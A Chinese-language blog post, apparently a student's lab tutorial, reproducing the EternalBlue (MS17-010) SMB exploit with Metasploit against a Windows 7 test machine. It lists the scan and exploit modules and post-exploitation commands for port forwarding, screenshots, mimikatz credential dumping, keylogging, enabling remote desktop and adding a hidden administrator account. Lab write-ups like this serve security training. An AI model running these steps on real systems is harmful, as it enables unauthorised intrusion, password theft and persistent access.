✅作者简介:CSDN内容合伙人、信息安全专业在校大学生🏆
🔥系列专栏 :HW-2023-漏洞复现
📃新人博主 :欢迎点赞收藏关注,会回访!
💬舞台再大,你不上台,永远是个观众。平台再好,你不参与,永远是局外人。能力再大,你不行动,只能看别人成功!没有人会关心你付出过多少努力,撑得累不累,摔得痛不痛,他们只会看你最后站在什么位置,然后羡慕或鄙夷。
文章目录
- 一、原理
- 永恒之蓝漏洞简介:
- 445端口简介:
- 二、实验环境
- 三、漏洞复现
- Step1:启动msf
- Step2:搜索search ms17-010模块
- Step3:使用辅助模块扫描是否存在永恒之蓝漏洞
- Step4:使用攻击模块
- Step5:查看本机信息
- Step6:端口转发
- Step7:获取屏幕数据
- Step8:获取密码
- Step9:键盘监听
- step10:开启远程
- Step11:进入cmd添加用户
一、原理
永恒之蓝漏洞简介:
永恒之蓝是指2017年4月14日晚,黑客团体Shadow Brokers (影子经纪人)公布一大批网络攻击工具,其中包含“永恒之蓝”工具,“永恒之蓝”利用Windows 系统的SMB漏洞可以获取系统最高权限。
5月12日,不法分子通过改造“永恒之蓝”制作了wannacry勒索病毒,英国、俄罗斯、整个欧洲以及中国国内多个高校校内网、大型企业内网和政府机构专网中招,被勒索支付高额赎金才能解密恢复文件。
黑客利用永恒之蓝工具成功利用漏洞攻击电脑获取系统最高权限后执行勒索病毒程序。(自动化)
445端口简介:
445端口是一个毁誉参半的端口,有了它我们可以在局域网中轻松访问各种共享文件夹或共享打印机,但也正是因为有了它,黑客们才有了可乘之机,他们能通过该端口偷偷共享你的硬盘,甚至会在悄无声息中将你的硬盘格式化掉! 2017年10月,由于病毒"坏兔子"(勒索病毒)来袭,国家互联网应急中心等安全机构建议用户及时关闭计算机以及网络设备上的445和139端口 。
二、实验环境
靶机win7
ip地址:192.168.204.160
登录密码:123456
攻击机:kail linux
ip地址:192.168.204.128
三、漏洞复现
Step1:启动msf
msfconsole
Step2:搜索search ms17-010模块
search ms17-010
- 其中的两个模块
auxiliary/scanner/smb/smb_ms17_010
是永恒之蓝扫描模块,探测主机是否存在MS17_010漏洞exploit/windows/smb/ms17_010_eternalblue
是永恒之蓝攻击代码,一般配合使用,前者先扫描,若显示有漏洞,再进行攻击
Step3:使用辅助模块扫描是否存在永恒之蓝漏洞
use 3
show options
设置RHOST并扫描
set rhost 192.168.204.160
run
【+】是模块返回的信息,【*】是框架返回的信息
Step4:使用攻击模块
use 0
show options
设置RHOST并执行
set rhost 192.168.204.160
Step5:查看本机信息
ipconfig
ps
看浏览器或者记事本等进程号
migrate
转到相应的进程
Step6:端口转发
portfwd命令是meterpreter内嵌的端口转发器,一般在目标主机开放的端口不允许直接访问的情况下使用,比如说,目标主机开放的远程桌面3389端口只允许内网访问,这时可以使用portfwd命令进行端口转发,以达到直接访问目标主机的目的。portf
wd的帮助信息如下:
portfwd add -l 1234 -r 192.168.204.160 -p 80
解释,假如目标主机192.168.204.160开放了一个网站,端口80,正常访问是 192.168.204.160:80, 端口转发之后,我们自己的电脑就可以用 127.0.0.1:1234 来访问目标网站
portfwd add -l 1235 -r 192.168.204.160 -p 3389
Step7:获取屏幕数据
screenshot
Step8:获取密码
使用 mimikatz 插件
load mimikatz
creds_all
load kiwi
# 没用到
wdigest
#没用到
Step9:键盘监听
(没成功)
(1) keyscan_start
: 启动时与如 Word 或浏览器的进程相关联的键盘记录软件
(2) keyscan_dump
键盘记录软件的内容转储,此时可以看到刚刚在靶机上输入的内容
(3) keyscan_stop
: -停止键盘记录软件
step10:开启远程
(1)run post/windows/manage/enable_rdp 或 run getgui -e
利用此后渗透模块即可直接开启远程桌面
(2)KaliLinux操作系统中的rdesktop 靶机地址 命令即可直接使用root账号登录到靶机系统中
(3)在msf软件里run vnc
或者新建终端 rdesktop 目标IP
Step11:进入cmd添加用户
shell
net user admin 123456 /add
net localgroup administrators 用户名 /add